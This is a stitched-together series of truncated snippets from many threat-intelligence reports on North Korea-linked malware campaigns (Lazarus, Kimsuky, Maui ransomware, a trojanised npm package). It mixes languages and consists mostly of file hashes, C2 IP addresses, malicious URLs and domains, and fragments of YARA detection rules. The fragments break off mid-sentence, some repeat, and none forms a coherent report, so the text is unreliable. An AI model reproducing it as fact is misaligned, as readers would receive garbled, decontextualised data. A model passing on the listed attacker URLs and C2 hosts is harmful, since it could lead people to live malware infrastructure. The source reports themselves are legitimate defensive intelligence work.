b67b3863f1182d8abdcf54fd0938cea8…","…58fdc1b6ce4744d6331f8e2efc4652d754e803cae4cc16101fc78438184995e6 97ba8d30cf8393c39f61f7e63266914ecafd07bd49911370afb866399446f37d a80a35649f638049244a06dd4fb6eca4de0757ef566bfbe1affe1c8bf1d96b04 b8233fe9e903ca08b9b1836fe6197e7d3e98e36b13815d8662de09832367a98a f4aa4c6942a87087530494cba770a1dcbc263514d874f12ba93a64b1edbae21c…","…Document with the yara rule “ APT_MalDoc_SharpShooter_Lazarus_Campaign_Dec18_1 “ Filename Strategic%20Planning%20Manager.doc MD5 a82cdb9f5bffcb24708e66eb52cce2af VT Score 2018-12-23: 39/58 Attribution Lazarus Group (APT38) The first step when dealing with potentially malicious documents for…","…(GUI) Intel 80386, for MS Windows MD5 45eb8f06c5f732e8dde8e9318d8b2392 SHA1 d4583cba9034a3068f8106b5013d37d7bdd46f38 SHA256 a84ed8ce714dff76b48b26414de9f045de561146d7eaa09019cbfbb2586c9765 SHA512…","…decrypted malware md5 : 22BEA8086D87FAC45B85BEA9E81CA142 sha1 : 0EF06518DFCE6641B2002C3C924A770D5E579891 sha256 : A869624BCD3FBA754DEC27FD7B04046455F6929DB7BF117CCA215B78B0889C79 downloaded malware (0xFF encoded) md5 : 77F67E93C8BDEA2CE9A66012B5EA2929 sha1 : 55AE82C3D83E95B93AAC9047B5AC35B72CC29BC2 sha256 :…","…60 af999c3c615b56691d75e8c877e185fb 5be0527f5c84208371761cee852f0d7c f51a2ccb4b9b2bf163c81b525bfac08e 10ce9409d8d1e72ea6439bec7cd7e4cd a87659641e00d724de5662b14fe142e8 1808bd4919c5943096a4a19784d6b8de C&C…","…프로그램을 수정하여 제작하였기 때문에 악성 여부 탐지가 쉽지 않음 Appendix Appendix 1 : IoC SCSKAppLink_dll - MD5 : b3a8c88297daecdb9b0ac54a3c107797 - SHA256 : a881c9f40c1a5be3919cafb2ebe2bb5b19e29f0f7b28186ee1f4b554d692e776 - Type : x86, dll NppAStyle.dll - MD5 : 98151ba9f3e0a55bba16c58428b3a178 - SHA256 :…","…641593eea5f235e27d7cff27d5b7ca2a 70d92e2b00ec6702e17e266b7742bbab 876dbd9529f00d708a42f470a21a6f79 a5cca2b56124e8e9e0371b6f6293e729 a8976e7dc409525a77b0eef0d0c3c4f2 IP 159.100.13.216 213.145.86.223 216.219.87.41 64.20.59.148 AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…641593eea5f235e27d7cff27d5b7ca2a 70d92e2b00ec6702e17e266b7742bbab 876dbd9529f00d708a42f470a21a6f79 a5cca2b56124e8e9e0371b6f6293e729 a8976e7dc409525a77b0eef0d0c3c4f2 IP 159.100.13.216 213.145.86.223 216.219.87.41 64.20.59.148 Gain access to related IOCs and detailed analysis by…","…(Back4app) 아이피 주소 44.199.48.119 [ 미국 ], 54.164.68.94 [ 미국 ] / (AMAZON-AES) 마지막 저장자 JJJ MD5 a8a82038d1a91e9fdf538cb765d1be66 SHA256 ad821bf5422182cbd0e764740720dd068a5496b5410539c5e78 7654b7951f81d [ 표 02] ‘ 강 **.doc’ 파일 세부 정보 c. 공격 흐름도…","…or hash.sha256(“c348e945e1f6123bd054277d16a39da715deed8f5a6849bc70a57913b877e2ba”) or hash.sha256(“a8b0f9717bc16d48e55be95886500179ca4b7dad9610dd0865dbf8849901a791”) or hash.sha256(“474978a976de1c869385d37ae422b1718918bc8cc05353a4bebb2b75846ab74c”)…","…for analysis. 37bb27f4eb40b8947e184afddba019001c12f97588e7f596ab6bc07f7c152602 Tags backdoorpuptrojan Details Name A8B6EC51ED88C0329FD3329CB615BBC9 Size 95744 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 a8b6ec51ed88c0329fd3329cb615bbc9 SHA1…","…Name a917c1cc198cf36c0f2f6c24652e5c2e94e28d963b128d54f00144d216b2d118 Size 408576 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 40e698f961eb796728a57ddf81f52b9a SHA1…","…(2023.12.06.03) MD5 682b5a3c93e107511fdd2cdb8e50389a 78ea811850e01544ca961f181030b584 a93474c3978609c8480b34299bf482b7 b58eb8a3797d3a52aba30d91d207b688 d06d1c2ec1490710133dea445f33bd19 URL http://gjdow.atwebpages.com/dn.php?name=[Computer…","…Figure 8 CARROTBAT downloading final payload via certutil The downloaded CAB file has the following properties: MD5 a943e196b83c4acd9c5ce13e4c43b4f4 SHA1 e66e416f300c7efb90c383a7630c9cfe901ff9fd SHA256 cfe436c1f0ce5eb7ac61b32cd073cc4e4b21d5016ceef77575bef2c2783c2d62 File…","…941cd0662cae55bc06727f1d658aba67f33442e63b03bebe012dad495e9e37dc a606716355035d4a1ea0b15f3bee30aad41a2c32df28c2d468eafd18361d60d6 a984a5ac41446db9592345e547afe7fb0a3d85fcbbbdc46e16be1336f7a54041 b183625c006f50f2b64ebe0aebda7b68ae285e53d1b4b00c8f49cde2dfc89348 c98e7241693fbcbfedf254f2edc8173af54fcacebb7047eb7646235736dd5b89…","…54 908d074f69c0bf203ed225557b7827ec 0171338d904381bbf3d1a909a48f4e92 0777781dedd57f8016b7c627411bdf2c 94935397dce29684f384e57f85beeb0a a9a52e2f2afe28778a8537f955ee1310 a58ef1e53920a6e528dc31001f302c7b ad6273981cb53917cb8bda8e2f2e31a8 d4b06cb4ed834c295d0848b90a109f09 d6aa7e9ff0528425146e64d9472ffdbd…","…53452693.bat 9 MD5 40e77deae9d81d0924bf7c1d6afbb3f7 33283112.bat 10 MD5 a9b1c04438930c0c7cff3fe8e8520317 tmp.xlsx.lnk (임의명명) 11 MD5 a523bf5dca0f2a4ace0cf766d9225343 ma1.lnk (임의명명) 12 MD5…","…property. Impact Data Theft and Espionage Sensitive Data Exposure Indicators of Compromise IP 103.149.98.247 MD5 a9b1c04438930c0c7cff3fe8e8520317 89a725b08ab0e8885fc03b543638be96 6013a54ceee15912385ef8c41405a819 SHA-256…","…(GUI) x86-64, for MS Windows MD5 8efaabb7b1700686efedadb7949eba49 SHA1 7b17d63694eee51010bcad143bc72e355e17cb50 SHA256 a9bc09a17d55fc790568ac864e3885434a43c33834551e027adb1896a463aafc SHA512…","…: 5cc715e6a91385c5c092ff79c73592aa sha1 : 64c9e04e9dd12796e76436364967ba85f2527a33 sha256 : a9c028a68deb18d900701a92bfd432acfee275c8b66cd196402c41ab0621fe39 Additional Information.…","…9c f692c1dd797f68c34744a377482c4ed4 b77e4e9f5897f00dcbd08b2ee9bde7e8 74b1d5f857a4245aef8189ac4f409a99 6cbc007799b56682ac196e44d79e496d a9d80e7fe3f217ea4d33f8a4a0f3f73c 57015267d06b0d80721015ccd29a04cd 5076c579e378f976a57e862e5b6a7859 45ed6abfc12be606bdbcfe76bd17b2af b36159563452d9a837a5e566ad2a1e44 52…","…16a278d0ec24458c8e47672529835117 Malware 12: DLL Injector MD5: 16a 278d0ec24458c8e47672529835117 SHA1: aa115e6587a535146b7493d6c02896a7d322879e File s ize: 1515008 bytes File t ype: PE32+ executable (DLL) (GUI) x86-64, for MS Windows Link t ime: 2016.12.08 00:53:43 (GMT)…","…f3d4144860ca10ba60f7ef4d176cc736 bea77d1e59cf18dce22ad9a2fad52948fd7a9efa aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868 11bc82a9bd8297bd0823bce5d6202082 894e7d4ffd764bb458809c7f0643694b036ead30…","…Compromise (IOCs) Indicators Indicator Type Description f3d4144860ca10ba60f7ef4d176cc736 bea77d1e59cf18dce22ad9a2fad52948fd7a9efa aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868 MD5 SHA1 SHA256 3CX Windows Installer…","…In two variants analyzed by Symantec (SHA256: aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868 and 59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983), the clean executable was used to load a malicious DLL named…","…Our analysis of one version of this executable (SHA256: aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43) found that when executed, it examined the file named X_TRADER-ja.mst (also contained in the installer) for the following marker bytes at…","…SHA-1 of samples 5CE3CDFB61F3097E5974F5A07CF0BD2186585776 FAC3FB1C20F2A56887BDBA892E470700C76C81BA AA374FA424CC31D2E5EC8ECE2BA745C28CB4E1E8 E50AD1A7A30A385A9D0A2C0A483D85D906EF4A9C DC72D464289102CAAF47EC318B6110ED6AF7E5E4 9F7B4004018229FAD8489B17F60AADB3281D6177…","…9f 6ead104743be6575e767986a71cf4bd9 658a8856d48aabc0ecfeb685d836621b a6588c10d9c4c2b3837cd7ce6c43f72e a75196b7629e3af03056c75af37f37cf aa41e4883a9c5c91cdab225a0e82d86a ab75a54c3d6ed01ba9478d9fecd443af SHA-256…","…있어 사용자는 첨부파일 실행에 유의해야한다. [파일 진단] Dropper/MSOffice.Generic (2023.03.20.02) Trojan/VBS.Generic.SC186657 (2023.03.03.00) MD5 aa756b20170aa0869d6f5d5b5f1b7c37 f2a0e92b80928830704a00c91df87644 URL http://delps.scienceontheweb.net/ital/info/list.php?query=1 AhnLab TIP 를 구독하시면 연관…","…Name laxhost.dll Size 843776 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 aa7924157b77dd1ff749d474f3062f90 SHA1 4f02a6bf2b24c371e9f589cff8e32b4d94cf4f29 SHA256 a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6 SHA512…","…to the domain. e76b3fd3e906ac23218b1fbd66fd29c3945ee209a29e9462bbc46b07d1645de2 Tags backdoorbottrojan Details Name AA7F506B0C30D76557C82DBA45116CCC Size 128512 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 aa7f506b0c30d76557c82dba45116ccc SHA1…","…2개 파일 서명에만 사용되어 실제 Nexaweb 사의 인증서인지 문의했지만 아직 답변을 못 받았다. MD5 27d4ff7439694041ef86233c2b804e1f 73d2899aade924476e58addf26254c2e aa8936431f7bc0fabb0b9efb6ea153f9 Tags: certificate CertificateLeak desktop.ini HTTPSpy 인증서 인증서유출 인증서서명악성코드 JobDescription Kimsuky Larva-25004 Nexaweb…","…actually theirs, but we have not yet received a response. MD5 27d4ff7439694041ef86233c2b804e1f 73d2899aade924476e58addf26254c2e aa8936431f7bc0fabb0b9efb6ea153f9 Tags: certificate CertificateLeak desktop.ini HTTPSpy 인증서 인증서유출 인증서서명악성코드 JobDescription Kimsuky Larva-25004 Nexaweb…","…0f5eeb23d701a2b342fc15aa90d97ae0 461ce7d6c6062d1ae33895d1f44d98fb 657fd7317ccde5a0e0c182a626951a9f 8e5cac0159a31ea808973508ce164e1d aa8ba9a029fa98b868be66b7d46e927b URL…","…0f5eeb23d701a2b342fc15aa90d97ae0 461ce7d6c6062d1ae33895d1f44d98fb 657fd7317ccde5a0e0c182a626951a9f 8fef5eb77e0a9ef2f97591d4d150a363 aa8ba9a029fa98b868be66b7d46e927b URL https://1drv.ms/i/s!AhXEXLJSNMPTbfzgUMxNbInC6 AhnLab EDR 의 행위 기반 탐지 및 대응 기능에 대해 더 알고 싶으시면, 아래 배너를 클릭하여 확인해 보세요.…","…task name Putty.exe – Scheduled task 1492fa04475b89484b5b0a02e6ba3e52544c264c294b57210404b96b65e63266 SHA-256 Malicious Putty.exe aaad412aeb0f98c2c27bb817682f08673902a48b65213091534f96fe6f5494d9 SHA-256 Malicious colorui.dll 63cddab76e9d63e3cbea421b607342735d924e462c40f3917b1b5fbdf8d4a20d SHA-256 Malicious Amazon-Kitty.exe…","…(GUI) Intel 80386, for MS Windows MD5 d2de01858417fa3b580b3a95857847d5 SHA1 2c879a1d4b6334c59ac5f11c2038d273d334befe SHA256 aab2868a6ebc6bdee5bd12104191db9fc1950b30bcf96eab99801624651e77b6 SHA512…","…e3ca0b80da1e 76ed57d6451f634255c664a89f7a64a062923c05 08620755dabc0983eaf1320ac4c71d90b56ff1bb 7bb3e2671b8ad6e2e1ffb9e8b022dfd677fdd31a aabaea027236e8605f4b89e3d9e2206993398af2 f8542e5567741c95a966cd1508c6d11ad0763440 598b8a9b7bb134bdbf34503e109ec66a18dbbfa9 9837e850f9800cff7d4fd26a2d9ccbaa1960d50b 9534d277d796…","…Hash-SHA256 8c3a91694ae0fc87074db6b3e684c586e801f4faed459587dcc6274e006422a4 Hash-SHA256 aae9536875784fe6e55357900519f97fee0a56d6780860779a36f06765243d56 Hash-SHA256 b9c5d4339809e0ad9a00d4d3dd26fdf44a32819a54abf846bb9b560d81391c25 Hash-SHA256…","…MD5 SHA1 SHA256 Malicious ICO File aafa584176d9aec7912b4bc3476acc1a 89827af650640c7042077be64dc643230d1f7482 268d4e399dbbb42ee1cd64d0da72c57214ac987efbb509c46cc57ea6b214beca MD5 SHA1 SHA256 Malicious ICO…","…SHA-256 ab1071c25ce763072f6b85302a83024833e724ffc51075da5bf915860a674874 7c059314638fd78ce3d0f375bae16a615860d603d1b157edeb4eabf797347d35 782aadc761381ec79e8d01a5ed4d13ae6089661ff2517c88e6de6d6eb2c89cab e7923f…","…a00b06 899b2da752ad50f525e364f0af930dec91a128effbe8bb601803226604038d5b a6cffde5684ca81e4f19ba77300bb255ea29cae57e5f78b20dad6be99bf0fb84 ab269279818db7e98c9c8899ad8e7a2b8b3cf6f51b24fb487720c15e7cd3546e b2ed5f272a518368cc453b940460b41f80bfa1b680ed9513a7ff6b365bd6ed7c b3f39054043551bcb78e4531580899b8343fc3c1e2dcfd46932ce576eea9019c c285bf…","…- Anlab Auto.vbs (지속성) Trojan.VBS.Agent.gen 6C35EB0E29DE1D24824DD3A79436E1BC MD5 샘플 3 - po1ker.bat (디코더) Trojan.Script.Agent AB5C0CC1F5D49E67B243D6145FD93CF8 MD5 샘플 3 - sp80poa (암호화된 명령) Trojan.Script.Agent https://toopel.shop/Pan/letgo.php?jang=god URL 샘플 3 - C2…","…d9 658a8856d48aabc0ecfeb685d836621b a6588c10d9c4c2b3837cd7ce6c43f72e a75196b7629e3af03056c75af37f37cf aa41e4883a9c5c91cdab225a0e82d86a ab75a54c3d6ed01ba9478d9fecd443af SHA-256…","…(GUI) Intel 80386, for MS Windows MD5 d0a8e0b685c2ea775a74389973fc92ca SHA1 c752ad74cb99a836eec4b984dab03cb7e99eb974 SHA256 ab88f12f0a30b4601dc26dbae57646efb77d5c6382fb25522c529437e5428629 SHA512…","…back up important data. Impact Information Theft and Espionage Exposure to Sensitive Data Indicators of Compromise MD5 ac146406fa4781454cab035d4fe3f244 bf6b4a30f1e5b4f4156446adc7693236 4ca9cad959d64599e85ecb45232cb8a6 c8549d0773855ce9a0b74d814da3e119 SHA-256…","…author = \"Kaspersky Lab\" version = \"1.0\" hash = \"9c7c7149387a1c79679a87dd1ba755bc\" hash = \"ac21c8ad899727137c4b94458d7aa8d8\" strings: $a1={ 51 53 55 8B 6C 24 10 56 57 6A 20 8B 45 00 8D 75 04 24 01 0C 01 46 89 45 00 C6 46 FF 03 C6 06 01 46 56 E8 }…","…f9c8e9 aead266f97c936799f4d5f526482d41f74daf86f8fcf49976eecbc6260b59274 327426b389a87fb41c5150f18c8a3b1b5c671eb08107a3a6917baea3db686555 ac4f6bdd6d4ef009f1108c4c8a3d58e0a19d4f73b239202dd601b0aeba5ceb54 bf838c2e46696f79964709e29880604d7172f2a3ab0f3f41d7ff8216f053c557 SHA1…","…관련 도메인, URL 및 IP 주소 MD5 ac68dad3114c469c5d1e81f9dbc59eb0 b0e7a8fa1eb5690e7e42fb09c9ee6307 e5288ab0f625e498e27178b0d17329f9 Tags: APT GitHub…","…Zoom (zoominstaller.exe) SHA256 ec47a2101de4f1fc25995e775ddb48e20977081c4d885e6ff8fdfe9109d05495 VelvetCake Executable SHA256 ac8df7baf7f1397a8c194840f6a5c1b0182088febde55f46d9f73ee8abc97c1d Scheduled Task Registration Script for VelvetCake SHA256 e162d64d3e69cea868f62f63906098de310fad9fa1ca693409a65de89760eaaa…","…Name aca598e2c619424077ef8043cb4284729045d296ce95414c83ed70985c892c83 Size 232960 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 dfd09e91b7f86a984f8687ed6033af9d SHA1…","…를 통해 소개한 바 있다. 이처럼 공격 기법이 날이 갈수록 변화하고 있기 때문에 사용자의 각별한 주의가 필요하다. [파일 진단] Downloader/VBS.Kimsuky.S1997 (2023.03.14.00) MD5 aca61a168d95c5f72b8e02650f727000 ec3c0d9cbf4e27e0240c5b5d888687ec FQDN zetaros.000webhostapp.com AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수…","…tool\" MD5_1 = \"d45931632ed9e11476325189ccb6b530\" SHA256_1 = \"efd470cfa90b918e5d558e5c8c3821343af06eedfd484dfeb20c4605f9bdc30e\" MD5_2 = \"acd15f4393e96fe5eb920727dc083aed\" SHA256_2 = \"32a4de070ca005d35a88503717157b0dc3f2e8da76ffd618fca6563aec9c81f8\" MD5_3 = \"34404a3fb9804977c6ab86cb991fb130\" SHA256_3 =…","…39 d0a8cd7584547bdb2959f0d1008e6871 b13ffe7b8e351291250f1a3a855134aa 1dee4c60fffcc80eb4bbd523eedab2f4 8c84d7f559cf0947fbf1981a0acb8a35 acd2d728ee4d1110521524c1eac6204e 157d1b1798f0f370a95125253e039c18 b99c1d9bf70be5172a8b36b098c67ee5 8c561a53085651d7f47b24129c2cd2d0 7df07ecb0b516df085a5ee95ed8e6560 af…","…4d4465bd9a57c7a3c0b80fa3282697554a1419794afa36e544a4ae06d60c1615 f390ef86a4ad92dde125c983e6470f08344b9eaa14c17a1e6c4bb7ebfa7c4ec9 acfae7e2fdda02e81b3e03f8c30741744d629cd672db424027f7caa59c975897 7429a6b6e8518a1ec1d1c37a8786359885f2fd4abde560adaef331ca9deaeefd e09224a24a14a08c6fcb79b00b4a7b3097c84f805f5f2adefe2f7d04d7b4a8ee 062aad…","…61cfcb e83a08bcb4353bfd6edcdedbc9ead9ab179a620e15155b60d18153bed9892f38 6f673981892701d42159489c1b2614c098a04e4674b23e1cd0fd8911766e71a0 ad075279d2ee6958105889d852e0d7f4266f746cb0078ac1b362f05a45b5828d 1288e105c83a6f4bbad8471a9b5bedafeea684a8d8b73a1a7518137d446c2e1e IPv4…","…주요 침해 지표 (Indicator of Compromise) ● MD5 7bce02dc0026e271615d4d0e441ca397 ad2761910997c801b3347bd3745dd2b9 bdf18a2d9a94c348cac9efc51d59a75a 81a7d6f88c0fb1705a16fc59ad261f35 aff44804011d77e1050b912b6e6a62c5 491947a5c5b97355989f674114e59a31 0ee76a9…","…8e4a99315a3ef443928ef25d90f84a09 17171c644307b17d231ad404e25f08b1 31662a24560b3fe1f34f0733e65509ff a196fb11a423076f66f5e4b2d02813a9 ad3433f5f64abdec7868a52341f14196 c0cac70c93d213d113001e3410c24fd2 d2b2c6646535a62e4c005613d6a036f0 e726b59f96ab8360f323469d72b8b617 ea95109b608841d2f99a25bd2646ff43 f1…","…the same network. Maui ransomware The Maui ransomware was detected ten hours after the DTrack variant on the same server. MD5 ad4eababfe125110299e5a24be84472e SHA1 94db86c214f4ab401e84ad26bb0c9c246059daff SHA256 a557a0c67b5baa7cf64bd4d42103d3b2852f67acf96b4c5f14992c1289b55eaa Link…","…suggested that it is encrypted with the same crypto and key. The dropped files after decryption have the following MD5 hashes: ad5485fac7fed74d112799600edb2fbf 16a278d0ec24458c8e47672529835117 Malware 12: DLL Injector MD5: 16a 278d0ec24458c8e47672529835117 SHA1:…","…92 0777781dedd57f8016b7c627411bdf2c 94935397dce29684f384e57f85beeb0a a9a52e2f2afe28778a8537f955ee1310 a58ef1e53920a6e528dc31001f302c7b ad6273981cb53917cb8bda8e2f2e31a8 d4b06cb4ed834c295d0848b90a109f09 d6aa7e9ff0528425146e64d9472ffdbd C2…","…0620fa617bc9ef32b93adcf40fe291a4 0734a2c3e827ccf558daf48290d06d8c 41ffc15c24259156db000af297c71703 89921e5f39407a5e63df013468181991 adabf920682fac1e6a81e655b1182590 Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click the banner…","…침해 지표 (Indicator of Compromise) ● MD5 adb30d4dd9e1bbe82392b4c01f561e46 b591cbd3f585dbb1b55f243d5a5982bc d8249f33e07479ce9c0e44be73d3deac 0def51118a28987a929ba26c7413da29 2ff911b042e5d94dd78f744109851326 3cd67d9…","…IP 185.27.134.201 185.105.33.106 185.27.134.140 185.27.134.93 185.27.134.120 185.27.134.144 MD5 adb30d4dd9e1bbe82392b4c01f561e46 b591cbd3f585dbb1b55f243d5a5982bc d8249f33e07479ce9c0e44be73d3deac 0def51118a28987a929ba26c7413da29 2ff911b042e5d94dd78f744109851326 3c…","…주요 침해 지표 (Indicator of Compromise) ● MD5 2A40543F5B4B8CC1F4BD8993DF44708E 92A18B9AC4945B444466B9950CB83E10 ADE57773E415DB6265815DF636AA83E9 EC146031EDFE94B2965D32B384A4B54F F32653EC5E26AD7DA610DFC194FB66BA 1E25FED1DAB0E2E4651FC51DB806A8B9 9E8BB11A8159EA5135DEF3895E7A5817 14…","…to communicate // Indicators of Compromise SHA256 : b018639e9a5f3b2b9c257b83ee51a3f77bbec1a984db13d1c00e0CC77704abb4 SHA256 : adf86d77eb4064c52a3e4fb3f1c3218ee2b7de2b1780b81c612886d72aa9c923 SHA256 : 1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9 SHA256 :…","…sample has the following properties as seen in Table 4: MD5 ae27e617f4197cd30cc09fe784453cd4 SHA1 dc739ca07585eab7394843bc4dba2faca8e5bfe0 SHA256 9b1a21d352ededd057ee3a965907126dd11d13474028a429d91e2349b1f00e10 File…","…Filename OKX Binance & Huobi VIP fee comparision.xls Size 219136 bytes MD5 51871504c1d5c09ade5e2a1e6e98c37a SHA1 ae34fa6c6baf77390fb3ff683d880cde14bf893d SHA256 17e6189c19dedea678969e042c64de2a51dd9fba69ff521571d63fd92e48601b The document uses embedded macros to deploy malware on…","…of Compromise Domain Name radiofreeasia.blog rfa.lol IP 79.133.56.173 MD5 f1b542971711bf229d02f5e385225a8d SHA-256 ae4dc41b8f5664b5aef5d82be55624d53be4ead0a23b029ae290e02c8d5f9e4f SHA1 67495e04457f66065470ab96c88d55e4ec3bf51e Remediation Block all threat indicators at your respective controls. Search for…","…k.zip은 C2가 닫혀있어 VirtusTotal를 통해 파일을 확보하여 [표 10]의 파일들이 포함된 것으로 확인 다운로드 내부 파일 MD5 k.zip N9371.js ae6ebf3fcde78bb6da37e302a2a579ee tt8.tmp 3126dfaee1fc0c05f62bafcbbc49782d 38243.tmp d916a1648c2de4c4e5f10fdc3f64d40d…","…075160d6c8d82b96d1ae7893761695a6 7c7b8dd6dd4ba7b443e84287671f0e79 9861999409cdbc1f7c4c1079d348697c 98764ae00cee9f2cc87530601c159387 ae6fdb8945991b587ab790c2121345ce URL…","…Type Description B122A9873BEDF145AE2A7FD024B5F309007DBB025149F4DC4AC3F7E4F32A36A4 SHA-256 setup.cjs (malicious postinstall dropper) AE70DD4F6BC0D1C8C2848E4E6B51934626C4818DCB5AF99D080DDBD7DC337185 SHA-256 easy-day-js-1.11.22.tgz (weaponized tarball) 4A8860240E4231C3A74C81949BE655A28E096A7D72F38FBE84E5B37636B98417 SHA-256…","…of Compromise Copy IOCs Artifact Type Context / Hash easy-day-js@1.11.22 in package-lock.json or node_modules npm dependency AE70DD4F6BC0D1C8C2848E4E6B51934626C4818DCB5AF99D080DDBD7DC337185 setup.cjs dropper JavaScript dropper B122A9873BEDF145AE2A7FD024B5F309007DBB025149F4DC4AC3F7E4F32A36A4 23.254.164.92:8000 C2 IP:…","…{ meta: author = \"NCCIC trusted 3rd party\" incident = \"10135536\" date = \"2018-04-12\" category = \"hidden_cobra\" family = \"TYPEFRAME\" md5 = \"ae769e62fef4a1709c12c9046301aa5d\" md5 = \"e48fe20eb1f5a5887f2ac631fed9ed63\" strings: $ = { 8a 01 3c 62 7c 0a 3c 79 7f 06 b2 db 2a d0 88 11 8a 41 01 41 84 c0 75 e8} $ = { 8A…","…Indicator of Compromise MD5 a2ee8d2aa9f79551eb5dd8f9610ad557 ae7e18a62abb7f93b657276dcae985b9 d5fe744b9623a0cc7f0ef6464c5530da f6d72abf9ca654a20bbaf23ea1c10a55 fd9099005f133f95a5b699ab30a2f79b 5ed95cde6c29432a4f7dc48602f82734 16…","…침해 지표 (Indicator of Compromise) MD5 a2ee8d2aa9f79551eb5dd8f9610ad557 ae7e18a62abb7f93b657276dcae985b9 d5fe744b9623a0cc7f0ef6464c5530da f6d72abf9ca654a20bbaf23ea1c10a55 fd9099005f133f95a5b699ab30a2f79b 5ed95cde6c29432a4f7dc48602f82734 16…","…16b043 d1b5d606c866c304c3eb28fc52ed700c6b292e6e4387e0dac1a895e231bfe5b3 3b2701a7d49a8d6002a2a202bac9b18b4bc917009da01591ab5b66f183f9c8e9 aead266f97c936799f4d5f526482d41f74daf86f8fcf49976eecbc6260b59274 327426b389a87fb41c5150f18c8a3b1b5c671eb08107a3a6917baea3db686555 ac4f6bdd6d4ef009f1108c4c8a3d58e0a19d4f73b239202dd601b0aeba5ceb54 bf838c…","…파일명:Logfile.rar 사이즈:5 MB MD5:358daa9e787cc93d77e9dc81a9c41f33 SHA-1:7fdc52a6971a56a6a142364d0c5c95b34c848b97 SHA-256:aed56f5ebc45b6d04901359dde22b12935a28459cdf96a835a7b52d26f893e56 비밀번호는 다 알죠! [생활/블로그 놀이] - Support Independent Malware & Phishing Analysis Support Independent Malware & Phishing…","…File Indicators -- TSMSISrv.dll (Lazarus Loader) Type Value SHA-256 aeebcd8c8b15645d7e71b68ac05e21e9a4c94f832c64044725d870b87b9573c7 MD5 447557d5236f1b97be0314b317ca9fff SHA-1 28978e987bc59e75ca22562924eab93355cf679e Imphash 655221b6bcad7b5b0b9766142cbc257a…","…File Indicators -- TSMSISrv.dll (Lazarus Loader) Hash Type Value SHA-256 aeebcd8c8b15645d7e71b68ac05e21e9a4c94f832c64044725d870b87b9573c7 MD5 447557d5236f1b97be0314b317ca9fff SHA-1 28978e987bc59e75ca22562924eab93355cf679e Imphash 655221b6bcad7b5b0b9766142cbc257a…","…WbBot.pkg BitcoinTrader.pkg Packaging time 2018-07-12 14:09:33 2018-11-05 6:11:38 2018-12-19 0:15:19 Malicious mach-o hash aeee54a81032a6321a39566f96c822f5 b63e8d4277b190e2e3f5236f07f89eee bb04d77bda3ae9c9c3b6347f7aef19ac C2 server www.celasllc.com/checkupdate.php…","…Size 50320 bytes Type Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|WEAK_DEFINES|BINDS_TO_WEAK|PIE> MD5 aeee54a81032a6321a39566f96c822f5 SHA1 53aa0971eb5d53ed242764ebfc89ad591a5211b2 SHA256 5e54bccbd4d93447e79cda0558b0b308a186c2be571c739e5460a3cb6ef665c0 SHA512…","…It can also intercept the site to prevent further spread of the malicious software. IOC Md5 aeee54a81032a6321a39566f96c822f5 b054a7382adf6b774b15f52d971f3799 C&C https://www.celasllc.com/checkupdate.php Posted in: APT , Threat…","…the following sample is used: MD5 3e4015366126dcdbdcc8b5c508a6d25c SHA1 f459f9cfbd10b136cafb19cbc233a4c8342ad984 SHA256 aef92be267a05cbff83aec0f23d33dfe0c4cdc71f9a424f5a2e59ba62b7091de File Type PE32 executable (GUI) Intel 80386, for MS Windows Compile Timestamp 2018-09-05 00:17:22 UTC Upon execution,…","…文件名 JP Morgan Chase Job Opportunities.pdf.lnk MD5 aefa2caddfeb3bccb1e696cc2cd6955a 文件大小 724.64 KB (742035 bytes) 创建日期 2021-04-22 03:38:09 C&C https://www.googlesheetpage.org 释放的诱饵如下:…","…IOCs URLs https://raw.githubusercontent.com/motoralis/singled/main/kcca/paper.jim https://api.github.com/repos/motoralis SHA256 af0309aa38d067373c54b2a7774a32f68ab72cb2dbf5aed74ac784b079830184 TRAMS WINBOT AI Strategic Proposal.pdf.lnk 9c3f2bd300ad2ef8584cc48adc47aab61bf85fc653d923e106c73fc6ec3ea1dc 전략적 파트너십 상세…","…page: 1252, Template: x64;1033 MD5 0f03ec3487578cef2398b5b732631fec SHA1 349fb7c922fba6da4bf5c2a3a9e0735f11068dac SHA256 af4144c1f0236e6b59f40d88635ec54c2ef8034f6a96a83f5dbfd6b8ea2c0d49 SHA512…","…57 bde4747408ce3cfdfe8238a133ebcac9 421b1e1ab9951d5b8eeda5b041cb0657 d2f08e227cd528ad8b26e9bbe285ae3c 04deb35316ebe1789da042c8876c0622 af4eefa8cddc1e412fe91ad33199bd71 34239a3607d8b5b8ddd6797855f2e827 389172d2794d789727b9f7d01ec27f75 Domains: googleservice.xyz docstream.online isosecurity.xyz filest…","…4e 157d1b1798f0f370a95125253e039c18 b99c1d9bf70be5172a8b36b098c67ee5 8c561a53085651d7f47b24129c2cd2d0 7df07ecb0b516df085a5ee95ed8e6560 af999c3c615b56691d75e8c877e185fb 5be0527f5c84208371761cee852f0d7c f51a2ccb4b9b2bf163c81b525bfac08e 10ce9409d8d1e72ea6439bec7cd7e4cd a87659641e00d724de5662b14fe142e8 18…","…9a 7756b4230adfa16e18142d1dbe6934af 8346d90508b5d41d151b7098c7a3e868 30741e7e4cdd8ba9d3d074c42deac9b1 537806c02659a12c5b21efa51b2322c1 afadab22f770956712e9c47460911dad b9c2111c753b09e4cc9d497f8fd314fc b128c5db5d973be60f39862ba8bfb152 bfb02dee62c38c3385df92b308499b31 ca3926dc6c4b2a71832a03fba366cbcd ec…","…7e2281ce21f6 7e70793c1ca82006775a0cac2bd75cc9ada37d7c 535f212b320df049ae8b8ebe0a4f93e3bd25ed79 